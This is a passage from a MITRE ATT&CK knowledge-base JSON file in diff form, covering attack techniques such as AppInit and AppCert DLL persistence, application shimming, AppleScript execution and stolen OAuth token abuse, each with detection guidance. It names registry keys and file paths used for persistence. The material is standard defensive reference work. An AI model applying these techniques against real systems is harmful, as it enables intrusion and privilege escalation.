Basics)\n\nAdversaries may leverage the AiTM position to attempt to modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can also stop traffic from flowing to the appropriate destination, causing denial of service.", + "x_mitre_contributors": [ + "Daniil Yugoslavskiy, @yugoslavskiy, Atomic Threat Coverage project" + ], + "x_mitre_detection": "Monitor network traffic for anomalies associated with known AiTM behavior. Consider monitoring for modifications to system configuration files involved in shaping network traffic flow.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1557", + "external_id": "T1557", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/94.html", + "external_id": "CAPEC-94", + "source_name": "capec" + }, + { + "url": "https://www.rapid7.com/fundamentals/man-in-the-middle-attacks/", + "description": "Rapid7. (n.d.). Man-in-the-Middle (MITM) Attacks. Retrieved March 2, 2020.", + "source_name": "Rapid7 MiTM Basics" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-11-10T18:29:30.350Z", + "name": "AppCert DLLs", + "created": "2018-01-16T16:13:52.465Z", + "id": "attack-pattern--4bf5845d-a814-4490-bc5c-ccdee6043025", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1182", + "external_id": "T1182", + "source_name": "mitre-attack" + }, + { + "source_name": "Elastic Process Injection July 2017", + "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", + "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + }, + { + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902" + }, + { + "source_name": "Sysinternals AppCertDlls Oct 2007", + "description": "Microsoft. (2007, October 24). Windows Sysinternals - AppCertDlls. Retrieved December 18, 2017.", + "url": "https://forum.sysinternals.com/appcertdlls_topic12546.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "AppCert DLLs", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Windows Registry: Windows Registry Key Modification", + "Command: Command Execution", + "Module: Module Load" + ], + "x_mitre_version": "1.0", + "modified": "2020-11-10T18:29:31.052Z", + "created": "2020-01-24T14:47:41.795Z", + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--7d57b371-10c2-45e5-b3cc-83a8fb380e4c", + "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\ are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Elastic Process Injection July 2017)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity. ", + "x_mitre_effective_permissions": [ + "Administrator", + "SYSTEM" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "x_mitre_detection": "Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Monitor the AppCertDLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) \n\nTools such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls Oct 2007)\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1546/009", + "external_id": "T1546.009", + "source_name": "mitre-attack" + }, + { + "source_name": "Elastic Process Injection July 2017", + "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", + "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + }, + { + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902" + }, + { + "source_name": "Sysinternals AppCertDlls Oct 2007", + "description": "Microsoft. (2007, October 24). Windows Sysinternals - AppCertDlls. Retrieved December 18, 2017.", + "url": "https://forum.sysinternals.com/appcertdlls_topic12546.html" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-11-10T18:29:30.379Z", + "name": "AppInit DLLs", + "created": "2017-05-31T21:31:15.409Z", + "id": "attack-pattern--317fefa6-46c7-4062-adb6-2008cf6bcb41", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1103", + "external_id": "T1103", + "source_name": "mitre-attack" + }, + { + "source_name": "Elastic Process Injection July 2017", + "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", + "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + }, + { + "source_name": "AppInit Registry", + "description": "Microsoft. (2006, October). Working with the AppInit_DLLs registry value. Retrieved July 15, 2015.", + "url": "https://support.microsoft.com/en-us/kb/197571" + }, + { + "source_name": "AppInit Secure Boot", + "description": "Microsoft. (n.d.). AppInit DLLs and Secure Boot. Retrieved July 15, 2015.", + "url": "https://msdn.microsoft.com/en-us/library/dn280412" + }, + { + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "AppInit DLLs", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1546/010", + "external_id": "T1546.010", + "source_name": "mitre-attack" + }, + { + "source_name": "Elastic Process Injection July 2017", + "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", + "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + }, + { + "source_name": "AppInit Registry", + "description": "Microsoft. (2006, October). Working with the AppInit_DLLs registry value. Retrieved July 15, 2015.", + "url": "https://support.microsoft.com/en-us/kb/197571" + }, + { + "source_name": "AppInit Secure Boot", + "description": "Microsoft. (n.d.). AppInit DLLs and Secure Boot. Retrieved July 15, 2015.", + "url": "https://msdn.microsoft.com/en-us/library/dn280412" + }, + { + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902" + } + ], + "x_mitre_data_sources": [ + "Process: Process Creation", + "Windows Registry: Windows Registry Key Modification", + "Command: Command Execution", + "Module: Module Load" + ], + "x_mitre_version": "1.0", + "modified": "2020-11-10T18:29:31.076Z", + "x_mitre_system_requirements": [ + "Secure boot disabled on systems running Windows 8 and later" + ], + "id": "attack-pattern--cc89ecbd-3d33-4a41-bcca-001e702d18fd", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "Administrator" + ], + "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows or HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017)\n\nSimilar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry) Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity. \n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)", + "x_mitre_effective_permissions": [ + "Administrator", + "SYSTEM" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "x_mitre_detection": "Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017)\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs. (Citation: TechNet Autoruns) \n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.", + "created": "2020-01-24T14:52:25.589Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "type": "attack-pattern", + "modified": "2020-04-14T13:26:00.846Z", + "name": "AppleScript", + "created": "2017-12-14T16:46:06.044Z", + "id": "attack-pattern--5ad95aaa-49c1-4784-821d-2e83f47b079b", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1155", + "external_id": "T1155", + "source_name": "mitre-attack" + }, + { + "source_name": "Macro Malware Targets Macs", + "description": "Yerko Grbic. (2017, February 14). Macro Malware Targets Macs. Retrieved July 8, 2017.", + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/macro-malware-targets-macs/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "AppleScript", + "x_mitre_data_sources": [ + "Command: Command Execution", + "Process: Process Creation", + "Process: OS API Execution" + ], + "x_mitre_version": "1.1", + "modified": "2020-08-03T21:40:51.878Z", + "created": "2020-03-09T14:07:54.329Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "id": "attack-pattern--37b11151-1776-4f8f-b328-30939fbf2ceb", + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may abuse AppleScript for execution. AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.(Citation: Apple AppleScript) These AppleEvent messages can be sent independently or easily scripted with AppleScript. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.\n\nScripts can be run from the command-line via osascript /path/to/script or osascript -e \"script here\". Aside from the command line, scripts can be executed in numerous ways including Mail rules, Calendar.app alarms, and Automator workflows. AppleScripts can also be executed as plain text shell scripts by adding #!/usr/bin/osascript to the start of the script file.(Citation: SentinelOne AppleScript)\n\nAppleScripts do not need to call osascript to execute, however. They may be executed from within mach-O binaries by using the macOS [Native API](https://attack.mitre.org/techniques/T1106)s\u00a0NSAppleScript\u00a0or\u00a0OSAScript, both of which execute code independent of the /usr/bin/osascript command line utility.\n\nAdversaries may abuse AppleScript to execute various behaviors, such as interacting with an open SSH connection, moving to remote machines, and even presenting users with fake dialog boxes. These events cannot start applications remotely (they can start them locally), but they can interact with applications if they're already running remotely. On macOS 10.10 Yosemite and higher, AppleScript has the ability to execute [Native API](https://attack.mitre.org/techniques/T1106)s, which otherwise would require compilation and execution in a mach-O binary file format.(Citation: SentinelOne macOS Red Team). Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via [Python](https://attack.mitre.org/techniques/T1059/006).(Citation: Macro Malware Targets Macs)", + "x_mitre_contributors": [ + "Phil Stokes, SentinelOne" + ], + "x_mitre_detection": "Monitor for execution of AppleScript through osascript and usage of the NSAppleScript and OSAScript APIs that may be related to other suspicious behavior occurring on the system. Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\n\nUnderstanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1059/002", + "external_id": "T1059.002", + "source_name": "mitre-attack" + }, + { + "url": "https://developer.apple.com/library/archive/documentation/AppleScript/Conceptual/AppleScriptLangGuide/introduction/ASLR_intro.html", + "description": "Apple. (2016, January 25). Introduction to AppleScript Language Guide. Retrieved March 28, 2020.", + "source_name": "Apple AppleScript" + }, + { + "url": "https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/", + "description": "Phil Stokes. (2020, March 16). How Offensive Actors Use AppleScript For Attacking macOS. Retrieved July 17, 2020.", + "source_name": "SentinelOne AppleScript" + }, + { + "url": "https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/", + "description": "Phil Stokes. (2019, December 5). macOS Red Team: Calling Apple APIs Without Building Binaries. Retrieved July 17, 2020.", + "source_name": "SentinelOne macOS Red Team" + }, + { + "source_name": "Macro Malware Targets Macs", + "description": "Yerko Grbic. (2017, February 14). Macro Malware Targets Macs. Retrieved July 8, 2017.", + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/macro-malware-targets-macs/" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2021-09-20T16:50:41.832Z", + "name": "Application Access Token", + "created": "2019-08-30T12:55:58.607Z", + "id": "attack-pattern--27960489-4e7f-461d-a62a-f5c0cb521e4a", + "revoked": true, + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1527", + "url": "https://attack.mitre.org/techniques/T1527" + }, + { + "source_name": "Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019", + "description": "Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019.", + "url": "https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/" + }, + { + "source_name": "okta", + "description": "okta. (n.d.). What Happens If Your JWT Is Stolen?. Retrieved September 12, 2019.", + "url": "https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen" + }, + { + "source_name": "Microsoft Identity Platform Access 2019", + "description": "Cai, S., Flores, J., de Guzman, C., et. al.. (2019, August 27). Microsoft identity platform access tokens. Retrieved October 4, 2019.", + "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens" + }, + { + "source_name": "Staaldraad Phishing with OAuth 2017", + "description": "Stalmans, E.. (2017, August 2). Phishing with OAuth and o365/Azure. Retrieved October 4, 2019.", + "url": "https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2021-09-02T17:18:55.891Z", + "name": "Application Access Token", + "x_mitre_data_sources": [ + "Web Credential: Web Credential Usage", + "Application Log: Application Log Content" + ], + "x_mitre_version": "1.2", + "created": "2020-01-30T17:37:22.261Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "x_mitre_defense_bypassed": [ + "System Access Controls" + ], + "x_mitre_platforms": [ + "Office 365", + "SaaS", + "Google Workspace" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--f005e783-57d4-4837-88ad-dbe7faee1c51", + "description": "Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users and used in lieu of login credentials.\n\nApplication access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)\n\nFor example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\n\nCompromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim\u2019s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Shailesh Tiwary (Indian Army)", + "Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)", + "Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)", + "Mark Wee" + ], + "x_mitre_detection": "Monitor access token activity for abnormal use and permissions granted to unusual or suspicious applications and APIs.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1550/001", + "external_id": "T1550.001", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/593.html", + "external_id": "CAPEC-593", + "source_name": "capec" + }, + { + "source_name": "Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019", + "description": "Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019.", + "url": "https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/" + }, + { + "source_name": "okta", + "description": "okta. (n.d.). What Happens If Your JWT Is Stolen?. Retrieved September 12, 2019.", + "url": "https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen" + }, + { + "source_name": "Microsoft Identity Platform Access 2019", + "description": "Cai, S., Flores, J., de Guzman, C., et. al.. (2019, August 27). Microsoft identity platform access tokens. Retrieved October 4, 2019.", + "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens" + }, + { + "source_name": "Staaldraad Phishing with OAuth 2017", + "description": "Stalmans, E.. (2017, August 2). Phishing with OAuth and o365/Azure. Retrieved October 4, 2019.", + "url": "https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-03-23T15:40:50.965Z", + "name": "Application Deployment Software", + "created": "2017-05-31T21:30:27.755Z", + "id": "attack-pattern--327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1017", + "external_id": "T1017", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/187.html", + "external_id": "CAPEC-187", + "source_name": "capec" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Application Exhaustion Flood", + "x_mitre_data_sources": [ + "Sensor Health: Host Status", + "Application Log: Application Log Content", + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Traffic Flow" + ], + "x_mitre_version": "1.1", + "modified": "2021-03-29T16:08:52.118Z", + "created": "2020-02-20T15:35:00.025Z", + "x_mitre_platforms": [ + "Windows", + "Azure AD", + "Office 365", + "SaaS", + "IaaS", + "Linux", + "macOS", + "Google Workspace" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--18cffc21-3260-437e-80e4-4ab8bf2ba5e9", + "description": "Adversaries may target resource intensive features of web applications to cause a denial of service (DoS). Specific features in web applications may be highly resource intensive. Repeated requests to those features may be able to exhaust system resources and deny access to the application or the server itself. (Citation: Arbor AnnualDoSreport Jan 2018)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_detection": "Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.\n\nIn addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1499/003", + "external_id": "T1499.003", + "source_name": "mitre-attack" + }, + { + "url": "https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf", + "description": "Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019.", + "source_name": "Arbor AnnualDoSreport Jan 2018" + }, + { + "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf", + "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.", + "source_name": "Cisco DoSdetectNetflow" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-10-21T16:35:45.986Z", + "name": "Application Layer Protocol", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1071", + "external_id": "T1071", + "source_name": "mitre-attack" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content" + ], + "x_mitre_version": "2.0", + "created": "2017-05-31T21:30:56.776Z", + "x_mitre_network_requirements": true, + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nAdversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, or DNS. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP. ", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "type": "attack-pattern", + "modified": "2020-11-10T18:29:30.362Z", + "name": "Application Shimming", + "created": "2017-12-14T16:46:06.044Z", + "id": "attack-pattern--7c93aa74-4bc0-4a9e-90ea-f25f86301566", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1138", + "external_id": "T1138", + "source_name": "mitre-attack" + }, + { + "source_name": "Elastic Process Injection July 2017", + "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", + "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + }, + { + "source_name": "Black Hat 2015 App Shim", + "description": "Pierce, Sean. (2015, November). Defending Against Malicious Application Compatibility Shims. Retrieved June 22, 2017.", + "url": "https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Application Shimming", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Windows Registry: Windows Registry Key Modification", + "Command: Command Execution", + "Module: Module Load", + "File: File Modification" + ], + "x_mitre_version": "1.0", + "modified": "2020-11-10T18:29:31.094Z", + "created": "2020-01-24T14:56:24.231Z", + "x_mitre_permissions_required": [ + "Administrator" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--42fe883a-21ea-4cfb-b94a-78b6476dcc83", + "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017)\n\nWithin the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS. \n\nA list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* %WINDIR%\\AppPatch\\sysmain.sdb and\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb\n\nCustom databases are stored in:\n\n* %WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom and\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).\n\nUtilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. (Citation: FireEye Application Shimming) Shims can also be abused to establish persistence by continuously being invoked by affected programs.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "x_mitre_detection": "There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim):\n\n* Shim-Process-Scanner - checks memory of every running process for any shim flags\n* Shim-Detector-Lite - detects installation of custom shim databases\n* Shim-Guard - monitors registry for any shim installations\n* ShimScanner - forensic tool to find active shims in memory\n* ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)\n\nMonitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1546/011", + "external_id": "T1546.011", + "source_name": "mitre-attack" + }, + { + "source_name": "Elastic Process Injection July 2017", + "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", + "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + }, + { + "url": "http://files.brucon.org/2015/Tomczak_and_Ballenthin_Shims_for_the_Win.pdf", + "description": "Ballenthin, W., Tomczak, J.. (2015). The Real Shim Shary. Retrieved May 4, 2020.", + "source_name": "FireEye Application Shimming" + }, + { + "source_name": "Black Hat 2015 App Shim", + "description": "Pierce, Sean. (2015, November). Defending Against Malicious Application Compatibility Shims. Retrieved June 22, 2017.", + "url": "https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf" + } + ] + }, + { + "object_marking_refs": [ + 